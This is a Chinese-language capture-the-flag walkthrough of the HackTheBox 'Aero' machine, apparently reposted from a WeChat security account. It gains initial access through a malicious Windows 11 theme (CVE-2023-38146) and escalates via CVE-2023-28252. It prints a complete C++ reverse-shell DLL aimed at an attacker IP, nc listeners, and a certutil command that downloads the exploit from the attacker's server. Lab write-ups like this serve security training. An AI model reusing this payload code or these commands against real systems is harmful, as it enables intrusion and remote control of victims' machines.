HackTheBox 的 Aero 靶机是一个中等难度的机器,很多人喜欢在第三资源网站下载漂亮的Windows主题来美化自己的电脑,然而这些主题可能隐藏后门,该靶机就是利用Windows 11的主题获得初始立足点,再利用系统漏洞提权,文章较长有很多漏洞利用需要注意的细节,建议先收藏、分享、点赞、在看
靶机地址
https://app.hackthebox.com/machines/571
适合读者
√ 渗透测试学习者√ 企业安全运维人员√ CTF竞赛战队√ 想掌握链式攻击思维的安全从业者
一、信息收集
端口扫描
nmap -sT --min-rate 10000 -p- 10.10.11.237 -oA nmapscan/ports
nmap -sT -Pn -sV -sC -O -p80,7680 10.10.11.237
只开放了 80 和 7680 端口,使用 Nmap 自带脚本漏洞扫描没有结果
nmap -script=vuln -p22,80 10.10.11.237 -oA nmapscan/vuln
Web 信息收集
whatweb
得到一个邮箱support@aerohub.htb
wappalyzer
dirsearch
扫描目录没有太多有价值的信息
子域名收集
把邮箱的域名添加到 hosts 文件中
vi /etc/hosts10.10.11.237 aerohub.htbsystemctl restart networking # 使生效
使用gobuster
的vhost
模式探测子域名
gobuster vhost -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -u http://aerohub.htb -t 30 --append-domain# 排除指定长度的无用页面gobuster vhost -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -u http://aerohub.htb -t 30 --append-domain --exclude-length 11650
没有扫描到可访问的子域名
信息整理
二、漏洞探测
Web 探测
访问 web 页面得知这是一个 Windows11 主题分享网站,允许用户上传并分享自己制作的 Windows11 主题
上传的时候前端会校验后缀名,后缀名不符的无法显示在选择文件的列表中
Windows 的主题格式是.theme
或者.themepack
,随便创建一个文件,后缀名改成.theme
并上传
burp 修改文件名为 aspx 上传,但是被拦截
复制一遍 filename 参数可以绕过,但是并未返回上传路径,尝试目录扫描和 js 文件都没找到保存路径
CVE 利用
2.1 漏洞搜索
上一步文件上传之后得到的提示是
File upload succeeded. Once we test your theme it will be added to the site!
猜测上传的主题文件会在目标机器上运行,对方检查无误后会展示在分享网页上,因此可以从主题文件下手,Windows11 主题有一个可以 RCE 的漏洞CVE-2023-38146
GitHub 搜索该 CVE 得到一个可利用 POC,但是需要自己编写 DLL 文件并替换到该项目中
https://github.com/gabe-k/themebleed
项目中 ThemeBleed.exe 开启服务服务端,因此后续攻击在 Windows 上进行
注:使用 Windows OpenVPN3.x 版本连接 HackTheBox 的 VPN 失败的话,改成 2.x 版本连接
2.2 修改漏洞利用代码
打开 Visual Studio 新建项目,搜索 dll,选择创建动态链接库(DLL)
右键 源文件 -> 添加 -> 新建项,添加一个名为rev.cpp
的 C++文件
内容为如下,修改 13,14 行为反弹 shell 到攻击机的 IP 和端口
#include"pch.h"#include<stdio.h>#include<string.h>#include<process.h>#include<winsock2.h>#include<ws2tcpip.h>#include<stdlib.h>#pragma comment(lib, "Ws2_32.lib")usingnamespace std;voidrev_shell(){FreeConsole();constchar* REMOTE_ADDR = "10.10.14.76";constchar* REMOTE_PORT = "1234"; WSADATA wsaData;int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);structaddrinfo* result = NULL, * ptr = NULL, hints;memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP;getaddrinfo(REMOTE_ADDR, REMOTE_PORT, &hints, &result); ptr = result; SOCKET ConnectSocket = WSASocket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol,NULL, NULL, NULL);connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); STARTUPINFO si; PROCESS_INFORMATION pi;ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si);ZeroMemory(&pi, sizeof(pi)); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdInput = (HANDLE)ConnectSocket; si.hStdOutput = (HANDLE)ConnectSocket; si.hStdError = (HANDLE)ConnectSocket; TCHAR cmd[] = TEXT("C:\WINDOWS\SYSTEM32\CMD.EXE");CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);WaitForSingleObject(pi.hProcess, INFINITE);CloseHandle(pi.hProcess);CloseHandle(pi.hThread);WSACleanup();}intVerifyThemeVersion(void){rev_shell();return0;}
再右键 头文件 -> 添加 -> 新建项,添加一个名为rev.h
的头文件
内容如下
#pragma onceextern"C" __declspec(dllexport) intVerifyThemeVersion(void);
最后在头文件pch.h
中添加一行,引用上面创建的rev.h
文件
#include"rev.h"
最后勾Rrelease
,点击运行生成
在项目目录x64/Release
下生成了Dll3.dll
文件
将该 dll 文件重命名为stage_3
,没有后缀名,复制替换到 POC 的 data 目录下
2.3 利用 EXP
该 POC 使用了 SMB 库的相关服务,跟系统自启动的 445 端口有冲突
禁用攻击机的Server
服务并重启电脑
制作主题文件
ThemeBleed.exe make_theme 攻击机IP test.themeThemeBleed.exe make_theme 10.10.14.76 test.theme
在攻击机上开启服务端
ThemeBleed.exe server
再开个窗口开启 NC 监听
nc -lvnp 1234
将文件通过 Web 上传,耐心等待目标安装主题,服务端看到返回日志,NC 反弹成功
在当前用户桌面下找到用户 flag
三、权限提升
1. 提权辅助
打印 systeminfo,通过一些在线的提权辅助网站对比可能存在的提权漏洞
https://i.hacking8.com/tiquan
对比到一些提权 CVE 都是 2021 以前的,影响版本在 Windows10 及之前,而通过 systeminfo 可以看到当前目标系统版本是Windows11
,build 版本号是10.0.22000 N/A Build 22000
,是一个比较新的版本,该页面匹配到的提权 CVE 无法使用
2. 手动查找最新的提权漏洞
Google 关键词
Linux: 系统发行版本 内核版本 Privilege Escalation VulnerabilityWindows: 系统版本 build版本号 Privilege Escalation Vulnerability
筛选最近发布的结果,有 CVE-2023-21768、CVE-2023-21752、CVE-2023-28252 等等
在对本机进行信息收集的时候也在该用户目录下看到名称中有 CVE-2023-28252 字样的 PDF 文件
dir /a /s /b C:users | findstr /i ".pdf"dir /a /s /b C:users | findstr /i ".pdf .xls .xlsx .doc .docx .ppt .pptx"
经过多次尝试,最终通过 CVE-2023-28252 提权成功
POC:https://github.com/fortra/CVE-2023-28252
VS 打开 POC 源码,把源文件
-clfs_eop.cpp
下面system("notepad.exe")
这一行修改为反弹 shell 命令
在 www.revshells.com 使用 PowerShell #3 (Base64)
生成反弹 shell 的命令,替换到 POC 中
勾选release-x64,运行生成
在项目路径的 x64/Release 目录下生成 clfs_eop.exe
使用 Python 开启 Web 服务
python -m http.server 8000 # python3python -m SimpleHTTPServer 8000 # python2
攻击机新开一个窗口,开启 NC 监听,把 exe 传到目标机器并运行,反弹回的 shell 就是 system 权限,修复此漏洞的补丁是 KB5025288
,目标机器没有打补丁
certutil.exe -urlcache -split -f http://10.10.14.76:8000/clfs_eop.exe clfs_eop.exe
在 administrator 用户桌面下找到管理员 flag
四、补充
查看目标机器中的 pdf 等文件,不需要下载到本地,可以将文件转换成 base64 编码,再本地解码就可以还原
1. Powershell
# 在powershell命令行中运行[convert]::ToBase64String((Get-Content-path"CVE-2023-28252_Summary.pdf"-Encoding byte))
在线 base64 转文件https://tool.hiofd.comhttps://gchq.github.io/CyberChef
2. Certutil
使用 Certutil 把文件编码后保存到 txt,查看复制 txt 的内容
certutil.exe -encode CVE-2023-28252_Summary.pdf test.txt
把复制的内容保存到本地 txt 文件中,再使用 Certutil 解码还原
-----BEGIN CERTIFICATE-----JVBERi0xLjYKJcOkw7zDtsOfCjIgMCBvYmoKPDwvTGVuZ3RoIDMgMCBSL0ZpbHRlci9GbGF0ZURlY29kZT4+CnN0cmVhbQp4nKVYzc6sNgzdz1Ow7mKaOCEQqarEENhf......QjdDN0NDODQ5ODUxOUZDNjEyPiBdCi9Eb2NDaGVja3N1bSAvRjBBQkY4NUJDOEIxQjkxRUYzMkVBNkM5RTUzM0QwMTQKPj4Kc3RhcnR4cmVmCjEzNjc0CiUlRU9GCg==-----END CERTIFICATE-----
certutil.exe -decode test.txt test.pdf
原文始发于微信公众号(红队安全圈):HTB Aero红队靶机:Windows 11主题也能被黑客利用控制电脑?
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论